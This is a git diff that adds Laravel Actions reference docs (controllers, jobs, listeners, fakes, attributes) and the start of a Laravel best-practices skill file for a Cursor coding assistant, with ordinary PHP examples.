diff --git a/.cursor/skills/laravel-actions/references/controller.md b/.cursor/skills/laravel-actions/references/controller.md
new file mode 100644
index 000000000..d48c34df8
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/controller.md
@@ -0,0 +1,339 @@
+# Controller Entrypoint (`asController`)
+
+## Scope
+
+Use this reference when exposing an action through HTTP routes.
+
+## Recap
+
+- Documents controller lifecycle around `asController(...)` and response adapters.
+- Covers routing patterns, middleware, and optional in-action `routes()` registration.
+- Summarizes validation/authorization hooks used by `ActionRequest`.
+- Provides extension points for JSON/HTML responses and failure customization.
+
+## Recommended pattern
+
+- Route directly to action class when appropriate.
+- Keep HTTP adaptation in controller methods (`asController`, `jsonResponse`, `htmlResponse`).
+- Keep domain logic in `handle(...)`.
+
+## Methods provided (`AsController` trait)
+
+### `__invoke`
+
+Required so Laravel can register the action class as an invokable controller.
+
+```php
+$action($someArguments);
+
+// Equivalent to:
+$action->handle($someArguments);
+```
+
+If the method does not exist, Laravel route registration fails for invokable controllers.
+
+```php
+// Illuminate\Routing\RouteAction
+protected static function makeInvokable($action)
+{
+ if (! method_exists($action, '__invoke')) {
+ throw new UnexpectedValueException("Invalid route action: [{$action}].");
+ }
+
+ return $action.'@__invoke';
+}
+```
+
+If you need your own `__invoke`, alias the trait implementation:
+
+```php
+class MyAction
+{
+ use AsAction {
+ __invoke as protected invokeFromLaravelActions;
+ }
+
+ public function __invoke()
+ {
+ // Custom behavior...
+ }
+}
+```
+
+## Methods used (`ControllerDecorator` + `ActionRequest`)
+
+### `asController`
+
+Called when used as invokable controller. If missing, it falls back to `handle(...)`.
+
+```php
+public function asController(User $user, Request $request): Response
+{
+ $article = $this->handle(
+ $user,
+ $request->get('title'),
+ $request->get('body')
+ );
+
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `jsonResponse`
+
+Called after `asController` when request expects JSON.
+
+```php
+public function jsonResponse(Article $article, Request $request): ArticleResource
+{
+ return new ArticleResource($article);
+}
+```
+
+### `htmlResponse`
+
+Called after `asController` when request expects HTML.
+
+```php
+public function htmlResponse(Article $article, Request $request): Response
+{
+ return redirect()->route('articles.show', [$article]);
+}
+```
+
+### `getControllerMiddleware`
+
+Adds middleware directly on the action controller.
+
+```php
+public function getControllerMiddleware(): array
+{
+ return ['auth', MyCustomMiddleware::class];
+}
+```
+
+### `routes`
+
+Defines routes directly in the action.
+
+```php
+public static function routes(Router $router)
+{
+ $router->get('author/{author}/articles', static::class);
+}
+```
+
+To enable this, register routes from actions in a service provider:
+
+```php
+use Lorisleiva\Actions\Facades\Actions;
+
+Actions::registerRoutes();
+Actions::registerRoutes('app/MyCustomActionsFolder');
+Actions::registerRoutes([
+ 'app/Authentication',
+ 'app/Billing',
+ 'app/TeamManagement',
+]);
+```
+
+### `prepareForValidation`
+
+Called before authorization and validation are resolved.
+
+```php
+public function prepareForValidation(ActionRequest $request): void
+{
+ $request->merge(['some' => 'additional data']);
+}
+```
+
+### `authorize`
+
+Defines authorization logic.
+
+```php
+public function authorize(ActionRequest $request): bool
+{
+ return $request->user()->role === 'author';
+}
+```
+
+You can also return gate responses:
+
+```php
+use Illuminate\Auth\Access\Response;
+
+public function authorize(ActionRequest $request): Response
+{
+ if ($request->user()->role !== 'author') {
+ return Response::deny('You must be an author to create a new article.');
+ }
+
+ return Response::allow();
+}
+```
+
+### `rules`
+
+Defines validation rules.
+
+```php
+public function rules(): array
+{
+ return [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ];
+}
+```
+
+### `withValidator`
+
+Adds custom validation logic with an after hook.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function withValidator(Validator $validator, ActionRequest $request): void
+{
+ $validator->after(function (Validator $validator) use ($request) {
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+ });
+}
+```
+
+### `afterValidator`
+
+Alternative to add post-validation checks.
+
+```php
+use Illuminate\Validation\Validator;
+
+public function afterValidator(Validator $validator, ActionRequest $request): void
+{
+ if (! Hash::check($request->get('current_password'), $request->user()->password)) {
+ $validator->errors()->add('current_password', 'Wrong password.');
+ }
+}
+```
+
+### `getValidator`
+
+Provides a custom validator instead of default rules pipeline.
+
+```php
+use Illuminate\Validation\Factory;
+use Illuminate\Validation\Validator;
+
+public function getValidator(Factory $factory, ActionRequest $request): Validator
+{
+ return $factory->make($request->only('title', 'body'), [
+ 'title' => ['required', 'min:8'],
+ 'body' => ['required', IsValidMarkdown::class],
+ ]);
+}
+```
+
+### `getValidationData`
+
+Defines which data is validated (default: `$request->all()`).
+
+```php
+public function getValidationData(ActionRequest $request): array
+{
+ return $request->all();
+}
+```
+
+### `getValidationMessages`
+
+Custom validation error messages.
+
+```php
+public function getValidationMessages(): array
+{
+ return [
+ 'title.required' => 'Looks like you forgot the title.',
+ 'body.required' => 'Is that really all you have to say?',
+ ];
+}
+```
+
+### `getValidationAttributes`
+
+Human-friendly names for request attributes.
+
+```php
+public function getValidationAttributes(): array
+{
+ return [
+ 'title' => 'headline',
+ 'body' => 'content',
+ ];
+}
+```
+
+### `getValidationRedirect`
+
+Custom redirect URL on validation failure.
+
+```php
+public function getValidationRedirect(UrlGenerator $url): string
+{
+ return $url->to('/my-custom-redirect-url');
+}
+```
+
+### `getValidationErrorBag`
+
+Custom error bag name on validation failure (default: `default`).
+
+```php
+public function getValidationErrorBag(): string
+{
+ return 'my_custom_error_bag';
+}
+```
+
+### `getValidationFailure`
+
+Override validation failure behavior.
+
+```php
+public function getValidationFailure(): void
+{
+ throw new MyCustomValidationException();
+}
+```
+
+### `getAuthorizationFailure`
+
+Override authorization failure behavior.
+
+```php
+public function getAuthorizationFailure(): void
+{
+ throw new MyCustomAuthorizationException();
+}
+```
+
+## Checklist
+
+- Route wiring points to the action class.
+- `asController(...)` delegates to `handle(...)`.
+- Validation/authorization methods are explicit where needed.
+- Response mapping is split by channel (`jsonResponse`, `htmlResponse`) when useful.
+- HTTP tests cover both success and validation/authorization failure branches.
+
+## Common pitfalls
+
+- Putting response/redirect logic in `handle(...)`.
+- Duplicating business rules in `asController(...)` instead of delegating.
+- Assuming action route discovery works without `Actions::registerRoutes(...)` when using in-action `routes()`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-controller.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/job.md b/.cursor/skills/laravel-actions/references/job.md
new file mode 100644
index 000000000..b4c7cbea0
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/job.md
@@ -0,0 +1,425 @@
+# Job Entrypoint (`dispatch`, `asJob`)
+
+## Scope
+
+Use this reference when running an action through queues.
+
+## Recap
+
+- Lists async/sync dispatch helpers and conditional dispatch variants.
+- Covers job wrapping/chaining with `makeJob`, `makeUniqueJob`, and `withChain`.
+- Documents queue assertion helpers for tests (`assertPushed*`).
+- Summarizes `JobDecorator` hooks/properties for retries, uniqueness, timeout, and failure handling.
+
+## Recommended pattern
+
+- Dispatch with `Action::dispatch(...)` for async execution.
+- Keep queue-specific orchestration in `asJob(...)`.
+- Keep reusable business logic in `handle(...)`.
+
+## Methods provided (`AsJob` trait)
+
+### `dispatch`
+
+Dispatches the action asynchronously.
+
+```php
+SendTeamReportEmail::dispatch($team);
+```
+
+### `dispatchIf`
+
+Dispatches asynchronously only if condition is met.
+
+```php
+SendTeamReportEmail::dispatchIf($team->plan === 'premium', $team);
+```
+
+### `dispatchUnless`
+
+Dispatches asynchronously unless condition is met.
+
+```php
+SendTeamReportEmail::dispatchUnless($team->plan === 'free', $team);
+```
+
+### `dispatchSync`
+
+Dispatches synchronously.
+
+```php
+SendTeamReportEmail::dispatchSync($team);
+```
+
+### `dispatchNow`
+
+Alias of `dispatchSync`.
+
+```php
+SendTeamReportEmail::dispatchNow($team);
+```
+
+### `dispatchAfterResponse`
+
+Dispatches synchronously after the HTTP response is sent.
+
+```php
+SendTeamReportEmail::dispatchAfterResponse($team);
+```
+
+### `makeJob`
+
+Creates a `JobDecorator` wrapper. Useful with `dispatch(...)` helper or chains.
+
+```php
+dispatch(SendTeamReportEmail::makeJob($team));
+```
+
+### `makeUniqueJob`
+
+Creates a `UniqueJobDecorator` wrapper. Usually automatic with `ShouldBeUnique`, but can be forced.
+
+```php
+dispatch(SendTeamReportEmail::makeUniqueJob($team));
+```
+
+### `withChain`
+
+Attaches jobs to run after successful processing.
+
+```php
+$chain = [
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+];
+
+CreateNewTeamReport::withChain($chain)->dispatch($team);
+```
+
+Equivalent using `Bus::chain(...)`:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::chain([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+])->dispatch();
+```
+
+Chain assertion example:
+
+```php
+use Illuminate\Support\Facades\Bus;
+
+Bus::fake();
+
+Bus::assertChained([
+ CreateNewTeamReport::makeJob($team),
+ OptimizeTeamReport::makeJob($team),
+ SendTeamReportEmail::makeJob($team),
+]);
+```
+
+### `assertPushed`
+
+Asserts the action was queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushed();
+SendTeamReportEmail::assertPushed(3);
+SendTeamReportEmail::assertPushed($callback);
+SendTeamReportEmail::assertPushed(3, $callback);
+```
+
+`$callback` receives:
+- Action instance.
+- Dispatched arguments.
+- `JobDecorator` instance.
+- Queue name.
+
+### `assertNotPushed`
+
+Asserts the action was not queued.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertNotPushed();
+SendTeamReportEmail::assertNotPushed($callback);
+```
+
+### `assertPushedOn`
+
+Asserts the action was queued on a specific queue.
+
+```php
+use Illuminate\Support\Facades\Queue;
+
+Queue::fake();
+
+SendTeamReportEmail::assertPushedOn('reports');
+SendTeamReportEmail::assertPushedOn('reports', 3);
+SendTeamReportEmail::assertPushedOn('reports', $callback);
+SendTeamReportEmail::assertPushedOn('reports', 3, $callback);
+```
+
+## Methods used (`JobDecorator`)
+
+### `asJob`
+
+Called when dispatched as a job. Falls back to `handle(...)` if missing.
+
+```php
+class SendTeamReportEmail
+{
+ use AsAction;
+
+ public function handle(Team $team, bool $fullReport = false): void
+ {
+ // Prepare report and send it to all $team->users.
+ }
+
+ public function asJob(Team $team): void
+ {
+ $this->handle($team, true);
+ }
+}
+```
+
+### `getJobMiddleware`
+
+Adds middleware to the queued action.
+
+```php
+public function getJobMiddleware(array $parameters): array
+{
+ return [new RateLimited('reports')];
+}
+```
+
+### `configureJob`
+
+Configures `JobDecorator` options.
+
+```php
+use Lorisleiva\Actions\Decorators\JobDecorator;
+
+public function configureJob(JobDecorator $job): void
+{
+ $job->onConnection('my_connection')
+ ->onQueue('my_queue')
+ ->through(['my_middleware'])
+ ->chain(['my_chain'])
+ ->delay(60);
+}
+```
+
+### `$jobConnection`
+
+Defines queue connection.
+
+```php
+public string $jobConnection = 'my_connection';
+```
+
+### `$jobQueue`
+
+Defines queue name.
+
+```php
+public string $jobQueue = 'my_queue';
+```
+
+### `$jobTries`
+
+Defines max attempts.
+
+```php
+public int $jobTries = 10;
+```
+
+### `$jobMaxExceptions`
+
+Defines max unhandled exceptions before failure.
+
+```php
+public int $jobMaxExceptions = 3;
+```
+
+### `$jobBackoff`
+
+Defines retry delay seconds.
+
+```php
+public int $jobBackoff = 60;
+```
+
+### `getJobBackoff`
+
+Defines retry delay (int or per-attempt array).
+
+```php
+public function getJobBackoff(): int
+{
+ return 60;
+}
+
+public function getJobBackoff(): array
+{
+ return [30, 60, 120];
+}
+```
+
+### `$jobTimeout`
+
+Defines timeout in seconds.
+
+```php
+public int $jobTimeout = 60 * 30;
+```
+
+### `$jobRetryUntil`
+
+Defines timestamp retry deadline.
+
+```php
+public int $jobRetryUntil = 1610191764;
+```
+
+### `getJobRetryUntil`
+
+Defines retry deadline as `DateTime`.
+
+```php
+public function getJobRetryUntil(): DateTime
+{
+ return now()->addMinutes(30);
+}
+```
+
+### `getJobDisplayName`
+
+Customizes queued job display name.
+
+```php
+public function getJobDisplayName(): string
+{
+ return 'Send team report email';
+}
+```
+
+### `getJobTags`
+
+Adds queue tags.
+
+```php
+public function getJobTags(Team $team): array
+{
+ return ['report', 'team:'.$team->id];
+}
+```
+
+### `getJobUniqueId`
+
+Defines uniqueness key when using `ShouldBeUnique`.
+
+```php
+public function getJobUniqueId(Team $team): int
+{
+ return $team->id;
+}
+```
+
+### `$jobUniqueId`
+
+Static uniqueness key alternative.
+
+```php
+public string $jobUniqueId = 'some_static_key';
+```
+
+### `getJobUniqueFor`
+
+Defines uniqueness lock duration in seconds.
+
+```php
+public function getJobUniqueFor(Team $team): int
+{
+ return $team->role === 'premium' ? 1800 : 3600;
+}
+```
+
+### `$jobUniqueFor`
+
+Property alternative for uniqueness lock duration.
+
+```php
+public int $jobUniqueFor = 3600;
+```
+
+### `getJobUniqueVia`
+
+Defines cache driver used for uniqueness lock.
+
+```php
+public function getJobUniqueVia()
+{
+ return Cache::driver('redis');
+}
+```
+
+### `$jobDeleteWhenMissingModels`
+
+Property alternative for missing model handling.
+
+```php
+public bool $jobDeleteWhenMissingModels = true;
+```
+
+### `getJobDeleteWhenMissingModels`
+
+Defines whether jobs with missing models are deleted.
+
+```php
+public function getJobDeleteWhenMissingModels(): bool
+{
+ return true;
+}
+```
+
+### `jobFailed`
+
+Handles job failure. Receives exception and dispatched parameters.
+
+```php
+public function jobFailed(?Throwable $e, ...$parameters): void
+{
+ // Notify users, report errors, trigger compensations...
+}
+```
+
+## Checklist
+
+- Async/sync dispatch method matches use-case (`dispatch`, `dispatchSync`, `dispatchAfterResponse`).
+- Queue config is explicit when needed (`$jobConnection`, `$jobQueue`, `configureJob`).
+- Retry/backoff/timeout policies are intentional.
+- `asJob(...)` delegates to `handle(...)` unless queue-specific branching is required.
+- Queue tests use `Queue::fake()` and action assertions (`assertPushed*`).
+
+## Common pitfalls
+
+- Embedding domain logic only in `asJob(...)`.
+- Forgetting uniqueness/timeout/retry controls on heavy jobs.
+- Missing queue-specific assertions in tests.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-job.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/listener.md b/.cursor/skills/laravel-actions/references/listener.md
new file mode 100644
index 000000000..c5233001d
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/listener.md
@@ -0,0 +1,81 @@
+# Listener Entrypoint (`asListener`)
+
+## Scope
+
+Use this reference when wiring actions to domain/application events.
+
+## Recap
+
+- Shows how listener execution maps event payloads into `handle(...)` arguments.
+- Describes `asListener(...)` fallback behavior and adaptation role.
+- Includes event registration example for provider wiring.
+- Emphasizes test focus on dispatch and action interaction.
+
+## Recommended pattern
+
+- Register action listener in `EventServiceProvider` (or project equivalent).
+- Use `asListener(Event $event)` for event adaptation.
+- Delegate core logic to `handle(...)`.
+
+## Methods used (`ListenerDecorator`)
+
+### `asListener`
+
+Called when executed as an event listener. If missing, it falls back to `handle(...)`.
+
+```php
+class SendOfferToNearbyDrivers
+{
+ use AsAction;
+
+ public function handle(Address $source, Address $destination): void
+ {
+ // ...
+ }
+
+ public function asListener(TaxiRequested $event): void
+ {
+ $this->handle($event->source, $event->destination);
+ }
+}
+```
+
+## Examples
+
+### Event registration
+
+```php
+// app/Providers/EventServiceProvider.php
+protected $listen = [
+ TaxiRequested::class => [
+ SendOfferToNearbyDrivers::class,
+ ],
+];
+```
+
+### Focused listener test
+
+```php
+use Illuminate\Support\Facades\Event;
+
+Event::fake();
+
+TaxiRequested::dispatch($source, $destination);
+
+Event::assertDispatched(TaxiRequested::class);
+```
+
+## Checklist
+
+- Event-to-listener mapping is registered.
+- Listener method signature matches event contract.
+- Listener tests verify dispatch and action interaction.
+
+## Common pitfalls
+
+- Assuming automatic listener registration when explicit mapping is required.
+- Re-implementing business logic in `asListener(...)`.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-listener.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/object.md b/.cursor/skills/laravel-actions/references/object.md
new file mode 100644
index 000000000..6a90be4d5
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/object.md
@@ -0,0 +1,118 @@
+# Object Entrypoint (`run`, `make`, DI)
+
+## Scope
+
+Use this reference when the action is invoked as a plain object.
+
+## Recap
+
+- Explains object-style invocation with `make`, `run`, `runIf`, `runUnless`.
+- Clarifies when to use static helpers versus DI/manual invocation.
+- Includes minimal examples for direct run and service-level injection.
+- Highlights boundaries: business logic stays in `handle(...)`.
+
+## Recommended pattern
+
+- Keep core business logic in `handle(...)`.
+- Prefer `Action::run(...)` for readability.
+- Use `Action::make()->handle(...)` or DI only when needed.
+
+## Methods provided
+
+### `make`
+
+Resolves the action from the container.
+
+```php
+PublishArticle::make();
+
+// Equivalent to:
+app(PublishArticle::class);
+```
+
+### `run`
+
+Resolves and executes the action.
+
+```php
+PublishArticle::run($articleId);
+
+// Equivalent to:
+PublishArticle::make()->handle($articleId);
+```
+
+### `runIf`
+
+Resolves and executes the action only if the condition is met.
+
+```php
+PublishArticle::runIf($shouldPublish, $articleId);
+
+// Equivalent mental model:
+if ($shouldPublish) {
+ PublishArticle::run($articleId);
+}
+```
+
+### `runUnless`
+
+Resolves and executes the action only if the condition is not met.
+
+```php
+PublishArticle::runUnless($alreadyPublished, $articleId);
+
+// Equivalent mental model:
+if (! $alreadyPublished) {
+ PublishArticle::run($articleId);
+}
+```
+
+## Checklist
+
+- Input/output types are explicit.
+- `handle(...)` has no transport concerns.
+- Business behavior is covered by direct `handle(...)` tests.
+
+## Common pitfalls
+
+- Putting HTTP/CLI/queue concerns in `handle(...)`.
+- Calling adapters from `handle(...)` instead of the reverse.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-object.html
+
+## Examples
+
+### Minimal object-style invocation
+
+```php
+final class PublishArticle
+{
+ use AsAction;
+
+ public function handle(int $articleId): bool
+ {
+ // Domain logic...
+ return true;
+ }
+}
+
+$published = PublishArticle::run(42);
+```
+
+### Dependency injection invocation
+
+```php
+final class ArticleService
+{
+ public function __construct(
+ private PublishArticle $publishArticle
+ ) {}
+
+ public function publish(int $articleId): bool
+ {
+ return $this->publishArticle->handle($articleId);
+ }
+}
+```
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/testing-fakes.md b/.cursor/skills/laravel-actions/references/testing-fakes.md
new file mode 100644
index 000000000..97766e6ce
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/testing-fakes.md
@@ -0,0 +1,160 @@
+# Testing and Action Fakes
+
+## Scope
+
+Use this reference when isolating action orchestration in tests.
+
+## Recap
+
+- Summarizes all `AsFake` helpers (`mock`, `partialMock`, `spy`, `shouldRun`, `shouldNotRun`, `allowToRun`).
+- Clarifies when to assert execution versus non-execution.
+- Covers fake lifecycle checks/reset (`isFake`, `clearFake`).
+- Provides branch-oriented test examples for orchestration confidence.
+
+## Core methods
+
+- `mock()`
+- `partialMock()`
+- `spy()`
+- `shouldRun()`
+- `shouldNotRun()`
+- `allowToRun()`
+- `isFake()`
+- `clearFake()`
+
+## Recommended pattern
+
+- Test `handle(...)` directly for business rules.
+- Test entrypoints for wiring/orchestration.
+- Fake only at the boundary under test.
+
+## Methods provided (`AsFake` trait)
+
+### `mock`
+
+Swaps the action with a full mock.
+
+```php
+FetchContactsFromGoogle::mock()
+ ->shouldReceive('handle')
+ ->with(42)
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `partialMock`
+
+Swaps the action with a partial mock.
+
+```php
+FetchContactsFromGoogle::partialMock()
+ ->shouldReceive('fetch')
+ ->with('some_google_identifier')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+```
+
+### `spy`
+
+Swaps the action with a spy.
+
+```php
+$spy = FetchContactsFromGoogle::spy()
+ ->allows('handle')
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `shouldRun`
+
+Helper adding expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldReceive('handle');
+```
+
+### `shouldNotRun`
+
+Helper adding negative expectation on `handle`.
+
+```php
+FetchContactsFromGoogle::shouldNotRun();
+
+// Equivalent to:
+FetchContactsFromGoogle::mock()->shouldNotReceive('handle');
+```
+
+### `allowToRun`
+
+Helper allowing `handle` on a spy.
+
+```php
+$spy = FetchContactsFromGoogle::allowToRun()
+ ->andReturn(['Loris', 'Will', 'Barney']);
+
+// ...
+
+$spy->shouldHaveReceived('handle')->with(42);
+```
+
+### `isFake`
+
+Returns whether the action has been swapped with a fake.
+
+```php
+FetchContactsFromGoogle::isFake(); // false
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+```
+
+### `clearFake`
+
+Clears the fake instance, if any.
+
+```php
+FetchContactsFromGoogle::mock();
+FetchContactsFromGoogle::isFake(); // true
+FetchContactsFromGoogle::clearFake();
+FetchContactsFromGoogle::isFake(); // false
+```
+
+## Examples
+
+### Orchestration test
+
+```php
+it('runs sync contacts for premium teams', function () {
+ SyncGoogleContacts::shouldRun()->once()->with(42)->andReturnTrue();
+
+ ImportTeamContacts::run(42, isPremium: true);
+});
+```
+
+### Guard-clause test
+
+```php
+it('does not run sync when integration is disabled', function () {
+ SyncGoogleContacts::shouldNotRun();
+
+ ImportTeamContacts::run(42, integrationEnabled: false);
+});
+```
+
+## Checklist
+
+- Assertions verify call intent and argument contracts.
+- Fakes are cleared when leakage risk exists.
+- Branch tests use `shouldRun()` / `shouldNotRun()` where clearer.
+
+## Common pitfalls
+
+- Over-mocking and losing behavior confidence.
+- Asserting only dispatch, not business correctness.
+
+## References
+
+- https://www.laravelactions.com/2.x/as-fake.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/troubleshooting.md b/.cursor/skills/laravel-actions/references/troubleshooting.md
new file mode 100644
index 000000000..cf6a5800f
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/troubleshooting.md
@@ -0,0 +1,33 @@
+# Troubleshooting
+
+## Scope
+
+Use this reference when action wiring behaves unexpectedly.
+
+## Recap
+
+- Provides a fast triage flow for routing, queueing, events, and command wiring.
+- Lists recurring failure patterns and where to check first.
+- Encourages reproducing issues with focused tests before broad debugging.
+- Separates wiring diagnostics from domain logic verification.
+
+## Fast checks
+
+- Action class uses `AsAction`.
+- Namespace and autoloading are correct.
+- Entrypoint wiring (route, queue, event, command) is registered.
+- Method signatures and argument types match caller expectations.
+
+## Failure patterns
+
+- Controller route points to wrong class.
+- Queue worker/config mismatch.
+- Listener mapping not loaded.
+- Command signature mismatch.
+- Command not registered in the console kernel.
+
+## Debug checklist
+
+- Reproduce with a focused failing test.
+- Validate wiring layer first, then domain behavior.
+- Isolate dependencies with fakes/spies where appropriate.
\ No newline at end of file
diff --git a/.cursor/skills/laravel-actions/references/with-attributes.md b/.cursor/skills/laravel-actions/references/with-attributes.md
new file mode 100644
index 000000000..1b28cf2cb
--- /dev/null
+++ b/.cursor/skills/laravel-actions/references/with-attributes.md
@@ -0,0 +1,189 @@
+# With Attributes (`WithAttributes` trait)
+
+## Scope
+
+Use this reference when an action stores and validates input via internal attributes instead of method arguments.
+
+## Recap
+
+- Documents attribute lifecycle APIs (`setRawAttributes`, `fill`, `fillFromRequest`, readers/writers).
+- Clarifies behavior of key collisions (`fillFromRequest`: request data wins over route params).
+- Lists validation/authorization hooks reused from controller validation pipeline.
+- Includes end-to-end example from fill to `validateAttributes()` and `handle(...)`.
+
+## Methods provided (`WithAttributes` trait)
+
+### `setRawAttributes`
+
+Replaces all attributes with the provided payload.
+
+```php
+$action->setRawAttributes([
+ 'key' => 'value',
+]);
+```
+
+### `fill`
+
+Merges provided attributes into existing attributes.
+
+```php
+$action->fill([
+ 'key' => 'value',
+]);
+```
+
+### `fillFromRequest`
+
+Merges request input and route parameters into attributes. Request input has priority over route parameters when keys collide.
+
+```php
+$action->fillFromRequest($request);
+```
+
+### `all`
+
+Returns all attributes.
+
+```php
+$action->all();
+```
+
+### `only`
+
+Returns attributes matching the provided keys.
+
+```php
+$action->only('title', 'body');
+```
+
+### `except`
+
+Returns attributes excluding the provided keys.
+
+```php
+$action->except('body');
+```
+
+### `has`
+
+Returns whether an attribute exists for the given key.
+
+```php
+$action->has('title');
+```
+
+### `get`
+
+Returns the attribute value by key, with optional default.
+
+```php
+$action->get('title');
+$action->get('title', 'Untitled');
+```
+
+### `set`
+
+Sets an attribute value by key.
+
+```php
+$action->set('title', 'My blog post');
+```
+
+### `__get`
+
+Accesses attributes as object properties.
+
+```php
+$action->title;
+```
+
+### `__set`
+
+Updates attributes as object properties.
+
+```php
+$action->title = 'My blog post';
+```
+
+### `__isset`
+
+Checks attribute existence as object properties.
+
+```php
+isset($action->title);
+```
+
+### `validateAttributes`
+
+Runs authorization and validation using action attributes and returns validated data.
+
+```php
+$validatedData = $action->validateAttributes();
+```
+
+## Methods used (`AttributeValidator`)
+
+`WithAttributes` uses the same authorization/validation hooks as `AsController`:
+
+- `prepareForValidation`
+- `authorize`
+- `rules`
+- `withValidator`
+- `afterValidator`
+- `getValidator`
+- `getValidationData`
+- `getValidationMessages`
+- `getValidationAttributes`
+- `getValidationRedirect`
+- `getValidationErrorBag`
+- `getValidationFailure`
+- `getAuthorizationFailure`
+
+## Example
+
+```php
+class CreateArticle
+{
+ use AsAction;
+ use WithAttributes;
+
+ public function rules(): array
+ {
+ return [
+ 'title' => ['required', 'string', 'min:8'],
+ 'body' => ['required', 'string'],
+ ];
+ }
+
+ public function handle(array $attributes): Article
+ {
+ return Article::create($attributes);
+ }
+}
+
+$action = CreateArticle::make()->fill([
+ 'title' => 'My first post',
+ 'body' => 'Hello world',
+]);
+
+$validated = $action->validateAttributes();
+$article = $action->handle($validated);
+```
+
+## Checklist
+
+- Attribute keys are explicit and stable.
+- Validation rules match expected attribute shape.
+- `validateAttributes()` is called before side effects when needed.
+- Validation/authorization hooks are tested in focused unit tests.
+
+## Common pitfalls
+
+- Mixing attribute-based and argument-based flows inconsistently in the same action.
+- Assuming route params override request input in `fillFromRequest` (they do not).
+- Skipping `validateAttributes()` when using external input.
+
+## References
+
+- https://www.laravelactions.com/2.x/with-attributes.html
\ No newline at end of file
diff --git a/.cursor/skills/laravel-best-practices/SKILL.md b/.cursor/skills/laravel-best-practices/SKILL.md
new file mode 100644
index 000000000..99018f3ae
--- /dev/null
+++ b/.cursor/skills/laravel-best-practices/SKILL.md
@@ -0,0 +1,190 @@
+---
+name: laravel-best-practices
+description: "Apply this skill whenever writing, reviewing, or refactoring Laravel PHP code. This includes creating or modifying controllers, models, migrations, form requests, policies, jobs, scheduled commands, service classes, and Eloquent queries. Triggers for N+1 and query performance issues, caching strategies, authorization and security patterns, validation, error handling, queue and job configuration, route definitions, and architectural decisions. Also use for Laravel code reviews and refactoring existing Laravel code to follow best practices. Covers any task involving Laravel backend PHP code patterns."
+license: MIT
+metadata:
+ author: laravel
+---
+
+# Laravel Best Practices
+
+Best practices for Laravel, prioritized by impact. Each rule teaches what to do and why. For exact API syntax, verify with `search-docs`.
+
+## Consistency First
+
+Before applying any rule, check what the application already does. Laravel offers multiple valid approaches — the best choice is the one the codebase already uses, even if another pattern would be theoretically better. Inconsistency is worse than a suboptimal pattern.
+
+Check sibling files, related controllers, models, or tests for established patterns. If one exists, follow it — don't introduce a second way. These rules are defaults for when no pattern exists yet, not overrides.
+
+## Quick Reference
+
+### 1. Database Performance → `rules/db-performance.md`
+
+- Eager load with `with()` to prevent N+1 queries
+- Enable `Model::preventLazyLoading()` in development
+- Select only needed columns, avoid `SELECT *`
+- `chunk()` / `chunkById()` for large datasets
+- Index columns used in `WHERE`, `ORDER BY`, `JOIN`
+- `withCount()` instead of loading relations to count
+- `cursor()` for memory-efficient read-only iteration
+- Never query in Blade templates
+
+### 2. Advanced Query Patterns → `rules/advanced-queries.md`
+
+- `addSelect()` subqueries over eager-loading entire has-many for a single value
+- Dynamic relationships via subquery FK + `belongsTo`
+- Conditional aggregates (`CASE WHEN` in `selectRaw`) over multiple count queries
+- `setRelation()` to prevent circular N+1 queries
+- `whereIn` + `pluck()` over `whereHas` for better index usage
+- Two simple queries can beat one complex query
+- Compound indexes matching `orderBy` column order
+- Correlated subqueries in `orderBy` for has-many sorting (avoid joins)
+
+### 3. Security → `rules/security.md`
+
+- Define `$fillable` or `$guarded` on every model, authorize every action via policies or gates
+- No raw SQL with user input — use Eloquent or query builder
+- `{{ }}` for output escaping, `@csrf` on all POST/PUT/DELETE forms, `throttle` on auth and API routes
+- Validate MIME type, extension, and size for file uploads
+- Never commit `.env`, use `config()` for secrets, `encrypted` cast for sensitive DB fields
+
+### 4. Caching → `rules/caching.md`
+
+- `Cache::remember()` over manual get/put
+- `Cache::flexible()` for stale-while-revalidate on high-traffic data
+- `Cache::memo()` to avoid redundant cache hits within a request
+- Cache tags to invalidate related groups
+- `Cache::add()` for atomic conditional writes
+- `once()` to memoize per-request or per-object lifetime
+- `Cache::lock()` / `lockForUpdate()` for race conditions
+- Failover cache stores in production
+
+### 5. Eloquent Patterns → `rules/eloquent.md`
+
+- Correct relationship types with return type hints
+- Local scopes for reusable query constraints
+- Global scopes sparingly — document their existence
+- Attribute casts in the `casts()` method
+- Cast date columns, use Carbon instances in templates
+- `whereBelongsTo($model)` for cleaner queries
+- Never hardcode table names — use `(new Model)->getTable()` or Eloquent queries
+
+### 6. Validation & Forms → `rules/validation.md`
+
+- Form Request classes, not inline validation
